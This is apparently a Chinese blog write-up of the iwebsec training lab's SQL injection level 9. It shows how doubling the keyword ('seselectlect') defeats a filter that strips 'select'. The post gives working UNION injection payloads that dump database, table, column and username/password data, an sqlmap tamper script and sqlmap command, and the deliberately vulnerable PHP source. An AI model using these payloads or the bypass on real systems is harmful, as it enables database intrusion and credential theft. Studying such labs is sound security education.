首页 > 数据库 >iwebsec-sql注入 09 双写关键字绕过

iwebsec-sql注入 09 双写关键字绕过

时间:2023-08-18 19:34:11浏览次数:37  
标签:输出 -- 09 echo union sql iwebsec seselectlect id

01、题目分析

大小写过滤顾名思义,会对正常小写的sql语句进行过滤,这个时候只需要大写sql注入语句即可

02、手工注入

关键词绕过顾名思义,就是将一些sql注入中会用到的一些关键词进行过滤,本关是将select过滤了,那就双写写成seselectlect

?id=1 order by 3
-- id=-1就是不显示内容
?id=-1 union seselectlect 1,2,3
?id=-1 union seselectlect 1,2,database()
?id=-1 union seselectlect 1,2,group_concat(table_name) from information_schema.tables where table_schema='iwebsec'
?id=-1 union seselectlect 1,2,group_concat(column_name) from information_schema.columns where table_name='sqli'
?id=-1 union seselectlect 1,2,group_concat(concat_ws('~',username,password)) from iwebsec.sqli

02、工具注入

因为sqlmap中并没有双写绕过的脚本,因此借用shadowwolf大神的脚本

#!/usr/bin/env python
'''
sqlmap 双写绕过
by:shadowwolf
'''
from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):
    payload= payload.replace('select' , 'selselectect')
    retVal=payload
    return retVal


把这个文件拷贝到sqlmap的tamper目录下重名名为doublewords.py

python .\sqlmap.py -u "http://www.bdrwmy.cn:8001/sqli/09.php?id=1"  --current-db --dump --batch --tamper=doublewords

image

03、代码分析

<?php
if(isset($_GET['id'])){  // 检查是否存在名为'id'的GET参数
	$id=preg_replace('/select/i','', $_GET["id"]);  // 从'id'参数中移除所有的"select"关键字,将结果存储在变量$id中
	$sql="SELECT * FROM user WHERE id=$id LIMIT 0,1";  // 构建SQL查询语句,根据$id查询'user'表中的数据,限制返回一条记录
	$result=mysql_query($sql);  // 执行SQL查询
}else{
	exit();  // 如果不存在'id'参数,则立即终止脚本的执行
}

if ($result) {  // 如果查询成功
	?>
	<table class='table table-striped'>  <!-- 输出一个表格元素的开始标签,使用Bootstrap的样式类 -->
	<tr><th>id</th><th>name</th><th>age</th></tr>  <!-- 表格的表头 -->
	<?php
	while ($row = mysql_fetch_assoc($result)) {  // 循环使用mysql_fetch_assoc()函数从结果集中获取一行数据,存储在关联数组$row中
		echo "<tr>";  // 输出表格行的开始标签
		echo "<td>".$row['id']."</td>";  // 输出id列的数据
		echo "<td>".$row['username']."</td>";  // 输出username列的数据
		echo "<td>".$row['password']."</td>";  // 输出password列的数据
		echo "</tr>";  // 输出表格行的结束标签
	}	
	echo "</table>";  // 输出表格元素的结束标签
}
else {
//  echo '<font color= "#FFFFFF">';  // 输出一个带有颜色的字体标签,颜色为白色
	print_r(mysql_error());  // 输出MySQL数据库的错误信息
//  echo "</font>";  // 输出字体标签的结束标签
}

require_once '../footer.php';  // 引入'footer.php'文件
?>

标签:输出,--,09,echo,union,sql,iwebsec,seselectlect,id
From: https://www.cnblogs.com/bdrwmy/p/17641444.html

相关文章

  • iwebsec-sql注入 05 报错型注入
    01、题目分析:三大盲注中的报错型注入,02、sqlmap工具注入:一把梭python.\sqlmap.py-u"http://www.bdrwmy.cn:8001/sqli/05.php?id=1"--current-db--dump--batch03、手工注入:盲注,简单的来讲就是无论你输入什么内容,页面都不会出现错误提示,如果查询结果正确就显示类似......
  • iwebsec-sql注入 06 宽字节字符型注入
    01、题目分析宽字节字符型注入,因为源代码中传参get值的时候,有一个addslashes()函数,是返回在预定义字符('")之前添加反斜杠的字符串。也就是说,当我们按照正常的字符型注入的时候,会在'前加入,也就是说,我们在url上--url写入?id=1'orderby3--+--在addslashes(1'order......
  • burpsuite靶场----SQL注入16----DNS外带test
    burpsuite靶场----SQL注入16----oracle之DNS外带test靶场地址https://portswigger.net/web-security/sql-injection/blind/lab-out-of-band正式开始1.先在burpsuite自带的dns上获取一段url2.使用payload'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+enc......
  • iwebsec-sql注入 07 空格过滤
    01、题目分析空格过滤就是将用户输入的空格过滤掉,众所周知,sql注入语句中会有很多的sql注入语句,如果进行了空格过滤,那么sql注入语句会因为参数连接在一快导致不能正常注入02、手工注入既然是数字型注入,那么对sql注入语句中的空格用其他内容替换即可,可以使用/**/、()、%0a等等,我这......
  • iwebsec-sql注入 03 bool型注入
    01、题目分析:三大盲注型注入中的布尔型注入,说明只会回显正确结果,错误结果将不再回显,对于布尔型注入,手工注入会费时费力,因此布尔注入比较适合工具注入02、sqlmap工具注入:一把梭python.\sqlmap.py-u"http://www.bdrwmy.cn:8001/sqli/03.php?id=1"--current-db--dump--ba......
  • iwebsec-sql注入 04 时间延迟型注入
    01、题目分析:三大盲注中的时间型注入,当查询语句正常的时候,不会有什么返回值或者回显,唯一的特征就是可以通过sleep函数来判断sql语句是否正确,也就是说,当有办法能判断输入语句是否正确的时候,步骤就和bool盲注一样了,话不多说,直接先让我们伟大的sqlmap跑起来02、sqlmap工具注入:一......
  • burpsuite靶场----SQL注入15----oracle的时间盲注
    burpsuite靶场----SQL注入15----oracle的时间盲注靶场地址https://portswigger.net/web-security/sql-injection/blind/lab-time-delays-info-retrieval正式开始这个和之前的oracle的布尔盲注差不多https://www.cnblogs.com/thebeastofwar/p/17640741.html稍微改一下脚本,因......
  • iwebsec-sql注入 02 字符型注入
    01、题目分析正常来讲的字符型的sql注入,sql语句如下select * from news where id='$id';像这种就可以在注入的传参后面加上一个单引号,然后联合sql语句最后加上注释符--+就行,但是这个网站不行,因为在这个靶场的字符型注入的中的源代码,加入了宽字节过滤,所以正常的字符型注......
  • SQL之母_sql自学网站例题
    http://sqlmother.yupi.icu/感觉还是直接写题对我有效果些虽然我有点容易知难而退。请编写一条SQL查询语句,从名为student的数据表中选择出所有学生的姓名(name)和分数(score),并且额外计算出分数的2倍(double_score)。点击查看代码selectname,score,score*2asdouble_scoref......
  • iwebsec-sql注入 01 数字型注入
    01、题目分析数字型注入的sql语句select * from news where id=$id;最最最常规的,直接注入02、手工注入:先判断有多少列http://www.bdrwmy.cn:8001/sqli/01.php?id=1orderby3--id=-1就是不显示内容http://www.bdrwmy.cn:8001/sqli/01.php?id=-1unionselect1,2,......